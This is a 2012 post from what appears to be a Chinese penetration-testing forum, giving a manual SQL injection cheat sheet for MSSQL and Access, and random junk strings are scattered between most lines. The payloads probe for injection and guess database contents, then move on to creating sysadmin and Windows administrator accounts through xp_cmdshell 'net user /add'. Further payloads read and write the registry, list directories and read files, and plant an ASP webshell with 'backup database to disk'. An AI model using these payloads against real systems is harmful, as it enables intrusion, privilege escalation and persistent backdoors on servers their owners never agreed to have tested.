中国网络渗透测试联盟
标题:
手工脚本注入
[打印本页]
作者:
admin
时间:
2012-9-15 14:48
标题:
手工脚本注入
手工脚本注入
2 x- G. k4 Z, N9 J
1.判断是否有注入;and 1=1 ;and 1=2
: B; I$ s- j7 w% a/ U. a
5 X Q& ^& E* K7 \5 D# @' r+ v! L
2.初步判断是否是mssql ;and user>0
! s5 z1 ?7 V& k2 `! O
3 N z. V+ X) j" t/ v8 a o8 V; M
3.注入参数是字符'and [查询条件] and ''='
c/ T) ^1 s3 ~" b9 d) t8 t9 _
& }+ l) ]8 {9 _+ L; B. n2 V0 p" Z
4.搜索时没过滤参数的'and [查询条件] and '%25'='
$ S+ P+ T v* f0 \2 o
! I1 U a- ]: ?
5.判断数据库系统
' ]: n2 e; L& R
;and (select count(*) from sysobjects)>0 mssql
7 [$ c7 E! g# C' @7 l
;and (select count(*) from msysobjects)>0 access
6 q* A# v0 O' k" n1 G# r9 [6 a6 P
& Z. Y2 C0 b7 C1 ~' e, Y
6.猜数据库 ;and (select Count(*) from [数据库名])>0
: e/ j! d2 F7 }6 V4 d- ^5 X L2 [( M9 j
) p3 u- x# F$ t) ~- A# z$ K. D
7.猜字段 ;and (select Count(字段名) from 数据库名)>0
0 L0 m7 W: E5 ~8 Z1 v8 t9 t5 f# \
* R0 I, @( W( Y0 L5 ^" ]% I
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0
; d0 u. g# P9 K9 k o4 f& e1 v, b
5 d1 F/ F, J4 E4 V' u. y
9.(1)猜字段的ascii值(access)
. @/ N" Y$ W* R# x* K; G4 v. a9 S
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0
6 W4 M0 F4 ]3 q( p3 y& {
$ b2 F4 H: c& N. @, Z
(2)猜字段的ascii值(mssql)
. c% d) _: d9 |' Q2 u0 v
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0
: d. b1 q9 T/ q& q" n
5 }5 u. R# U0 m
10.测试权限结构(mssql)
* ^! V6 y+ R2 f5 [
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
' `+ |4 Q7 ~2 W5 A Q
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));--
& [9 s+ E$ p/ G8 t
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));--
; B; Z! ]' t) y7 S$ Y) Y
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
4 Q1 ~ ^4 @& |7 T
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
5 Q! D& q* Z. U( {# F+ I! x. v) B
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
( h2 ?3 E3 Y' m" t( p
;and 1=(select IS_MEMBER('db_owner'));--
6 C% q5 z1 p' V, ?0 }* P/ t
7 K: i' C# }# w
11.添加mssql和系统的帐户
5 Z5 A3 B" a6 F/ q
;exec master.dbo.sp_addlogin username;--
* X' J" y4 [2 F4 y2 K
) `! s5 x* J* u' a
;exec master.dbo.sp_password null,username,password;--
/ h$ z# b0 r" a3 _3 E! ~
" Z7 `( `% j' F5 h$ W
;exec master.dbo.sp_addsrvrolemember sysadmin username;--
2 u. C5 Q/ z8 H$ C( Y/ y0 @8 ]
2 c# U4 D6 c. x$ R. a. d( i
;exec master.dbo.xp_cmdshell 'net user username password
3 h' X P5 _; H# t1 d7 {
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';--
$ Z- a7 _- @3 }1 p% C; h
V# S* R$ f: u7 }* @+ {
;exec master.dbo.xp_cmdshell 'net user username password /add';--
1 W3 }3 C: k! i2 w# v
& u- ]# k! G1 `( ~* A4 X% v& t' E
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--
9 {1 ]/ A5 _9 e" R# V
6 L2 a6 O, D* v) N5 q4 z6 J8 A$ K
12.(1)遍历目录
- a2 N# J% P( G7 I
# a% R) g$ v% o4 L$ z& s
;create table dirs(paths varchar(100), id int)
9 o2 i, @7 F' a) n j8 ^% o4 Y
;insert dirs exec master.dbo.xp_dirtree 'c:\'
/ K$ V9 J/ P5 ?7 B% B; y
;and (select top 1 paths from dirs)>0
" u* ?' \4 y5 o/ E
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)
. v* K, `4 J- v$ x7 m. ^* {" e: l
% B1 @9 I5 o% j, R
(2)遍历目录
, O, ~7 B. z; n. T Z$ w2 ~
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
# u: U9 C+ B$ z% M/ C6 o; K
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
' V# b; c* y( F8 _3 l( S& i
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表
1 C/ Y) h/ O) H" n
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构
- ?. ?8 Y1 H( A5 I' ]- E8 P# Q7 a& @
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容
- H/ O- a) B3 m' {8 G
+ h) U" e- [5 j, ~
13.mssql中的存储过程
2 _1 Y$ m' R) k* v/ v- Q
0 l: Z0 R: q8 s3 m/ r8 j0 p, r- D# ^
xp_regenumvalues 注册表根键, 子键
" h; ~$ b1 @2 Y& [9 t# T" W# J
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值
- u3 M, u) N& q
' i! b+ ]" ]$ `
xp_regread 根键,子键,键值名
% ? e+ c8 g* E0 C2 U9 U; e
;exec xp_regread
% M) @8 z5 q; o' a
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值
0 C/ c, _. P5 i n. t! M9 t
) E3 X; {% G# N4 d/ H) Z' w
xp_regwrite 根键,子键, 值名, 值类型, 值
1 i y$ ~; j# \0 M6 X
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型
$ B+ k4 @6 P. n% P
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表
. S2 r0 \" D2 I, r+ O. G
! `# s. D0 M. }" N" k
xp_regdeletevalue 根键,子键,值名
& `1 ]( {( R: E7 Z& F+ R) [7 u
' r! v$ g" n7 c& D9 V* Z8 r; Z
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值
. X/ g& T, t2 c# b! _: t
o0 i% Y& R1 d: J3 B1 c, m
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值
* [ v* h L+ k2 L; Z r, w
: E. U$ |+ W% o9 m- V
14.mssql的backup创建webshell
9 d8 W/ f% f# y" {9 T2 b/ @
use model
' s1 c; p, `% h% h
create table cmd(str image);
: H( Z& r& B& y; S) J, U
insert into cmd(str) values ('');
2 f' \' a8 A( g# G
backup database model to disk='c:\l.asp';
m( _7 w4 y1 L6 ]
; P. |0 P- h* G
15.mssql内置函数
/ W. E i8 G" V
;and (select @@version)>0 获得Windows的版本号
7 m0 x& d0 m- E' ]# }; H; }
;and user_name()='dbo' 判断当前系统的连接用户是不是sa
! \' P, j7 R( [+ s( w
;and (select user_name())>0 爆当前系统的连接用户
W# k( S& M& t" u) n; ~7 G* T! i+ Y
;and (select db_name())>0 得到当前连接的数据库
7 Q. d/ h* u$ v! j3 `- A
& c l2 g5 ^' W. f
16.简洁的webshell
$ x2 Q# {3 I) k& E$ o$ P" @2 T: J, l
, h3 p5 `( _0 }+ ~
use model
- B0 j, b5 e# A& U! R% b
% I3 c' x5 j; `8 Q, h' O7 l. H
create table cmd(str image);
2 i& x C6 E$ U: R6 p. I6 p
- t8 e4 X* z$ K& a( l- K- V
insert into cmd(str) values ('');
! _% ^% T3 R$ ]5 S
5 H# ~' t' C, g# P6 X- b: t: W0 O
backup database model to disk='g:\wwwtest\l.asp';
; {% U4 S1 K& [( h, ]/ C- V* ?% F
$ {0 W8 j! @: a' _& c- i
作者:
老男孩
时间:
2012-9-15 16:34
现在很多防注入啊,有其他注入字符码
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2